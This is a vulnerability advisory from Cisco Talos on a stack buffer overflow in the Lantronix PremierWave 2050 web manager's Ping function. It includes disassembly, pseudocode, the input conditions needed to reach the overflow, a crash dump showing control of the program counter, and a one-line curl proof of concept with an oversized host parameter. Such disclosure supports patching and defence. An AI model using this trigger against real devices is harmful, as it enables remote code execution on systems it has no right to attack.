CVE-2021-21889
A stack-based buffer overflow vulnerability exists in the Web Manager Ping functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)
https://www.lantronix.com/products/premierwave2050/
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-121 - Stack-based Buffer Overflow
PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.
A specially crafted HTTP request can lead to a stack overflow in the function responsible for handling the Ping
ajax directive in the PremierWave 2050 Web Manager application, ltrx_evo
. This function contains a vulnerable call to sprintf
with a fixed sized destination and a user-controlled source. Successful exploitation allows an authenticated attacker with no special permissions to overflow a fixed sized buffer allocated on the stack and corrupt the stack frame, resulting in attacker control of the program counter and therefore remote code execution.
Below is a partial disassembly of the relevant portions of the vulnerable function.
.text:000BF800 LDR R1, =aHost_0 ; "host"
.text:000BF804 BL get_POST_param ; [1] Extract "host" parameter and store into R5
.text:000BF808 SUBS R5, R0, #0 ; [2] Confirm that the parameter exists
.text:000BF80C MOV R0, R4
.text:000BF810 BEQ loc_BF820
.text:000BF814 LDRB R3, [R5] ; [3] Confirm that the parameter is not an empty string
.text:000BF818 CMP R3, #0
.text:000BF81C BNE loc_BF83C
...
.text:000BF908 MOV R0, R5
.text:000BF90C BL NetDottedFormIsOkay ; [4] Check if host is a valid IPv4 address format
.text:000BF910 SUBS R6, R0, #0
.text:000BF914 MOVNE R6, #1
.text:000BF918 BNE loc_BFA78
.text:000BF91C MOV R0, R5
.text:000BF920 BL NetLooksLikeAnIPv6Address [5] If not IPv4, check if it appears to be an IPv6 address
.text:000BF924 SUBS R8, R0, #0
.text:000BF928 BNE loc_BFA78
...
.text:000BFA78 MOV R0, R5
.text:000BFA7C LDR R1, =aFe80_0 ; "fe80:"
.text:000BFA80 MOV R2, #5
.text:000BFA84 BL strncmp ; [6] Check if `host` starts with "fed80:", a link-local IPv6 address
.text:000BFA88 SUBS R7, R0, #0
.text:000BFA8C BNE loc_BFB34
.text:000BFA90 MOV R0, R5
.text:000BFA94 MOV R1, #0x25 ; '%'
.text:000BFA98 BL strchr ; [7] Ensure `host` does not contain a '%', indicating a potential zone identifier
.text:000BFA9C CMP R0, #0
.text:000BFAA0 BNE loc_BFB38
.text:000BFAA4 MOV R7, R0
.text:000BFAA8
.text:000BFAA8 loc_BFAA8 ; CODE XREF: handler_Ping+3F4↓j
.text:000BFAA8 MOV R0, R7 ; a1
.text:000BFAAC BL NetGetInterfaceName
.text:000BFAB0 LDR R1, =aNdisc6R1SSGrep ; "ndisc6 -r 1 %s %s | grep Target | awk '"...
.text:000BFAB4 MOV R2, R5 ; host
.text:000BFAB8 MOV R8, R0
.text:000BFABC ADD R0, SP, #0x970+cmd
.text:000BFAC0 MOV R3, R8
.text:000BFAC4 ADD R0, R0, #4
.text:000BFAC8 BL sprintf ; [8] Vulnerable call to `sprintf` which can overflow `cmd` buffer
...
The above disassembly, when decompiled, might be similar to the following representative pseudocode.
char* host;
char cmd[267];
...
host = get_param_by_name("host");
if ( !host || !*host ) { error(); } [1]
...
if ( NetLooksLikeAnIPv6Address(host) ) { [2] This check, and the one below, can be passed simply by prefixing the buffer with 'fe80:'
if ( !strncmp(host, "fe80:", 5) ) { [3] Confirm that the IPv6 address is link-local
if ( !strchr(host, '%') ) { [4] Confirm that the IPv6 address does not contain a zone identifier,
// [5] The below `sprintf` call can cause `cmd` to overflow if `host` is large enough
sprintf(cmd, "ndisc6 -r 1 %s %s | grep Target | awk '{print $1}'", host, InterfaceName);
...
}
...
}
...
}
...
As indicated in the disassembly at positions [2]
, [3]
, [5]
, [6]
, and [7]
, and the decompilation at positions [1]
, [2]
, [3],
and [4]
, there are a handful of requirements to successfully overflow the buffer. The contents of the attacker-controlled host
parameter must not be empty, they must begin with “fe80:”, and they must not contain the character %
or \0
.
If these conditions are met, the attacker can supply a sufficiently long value in the host
parameter and overflow the vulnerable buffer, ultimately taking control of the program counter and flow of execution.
Thread 12 "ltrx_evo" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 24149.24232]
────────────────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0x0
$r2 : 0x422684d4 → 0x00000000
$r3 : 0x2
$r4 : 0x4d4d4d4d ("MMMM"?)
$r5 : 0x4d4d4d4d ("MMMM"?)
$r6 : 0x4d4d4d4d ("MMMM"?)
$r7 : 0x4d4d4d4d ("MMMM"?)
$r8 : 0x4d4d4d4d ("MMMM"?)
$r9 : 0x4d4d4d4d ("MMMM"?)
$r10 : 0x4d4d4d4d ("MMMM"?)
$r11 : 0x4d4d4d4d ("MMMM"?)
$r12 : 0x0
$sp : 0x42260ec8 → "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM[...]"
$lr : 0x000e3c78 → movs r1, r0
$pc : 0x4d4d4d4c ("LMMM"?)
$cpsr: [negative zero carry overflow interrupt fast THUMB]
─────────────────────────────────────────────────────────────────────────────────────────
curl --user user:user -d "ajax=Ping&submit=Ping&timeout=5&count=3&host=`python -c "print('fe80:' + 'M'*2048)"`" http://192.168.0.1/
2021-06-14 - Vendor Disclosure
2021-06-15 - Vendor acknowledged
2021-09-01 - Talos granted disclosure extension to 2021-10-15
2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date
2021-11-15 - Public Release
Discovered by Matt Wiseman of Cisco Talos.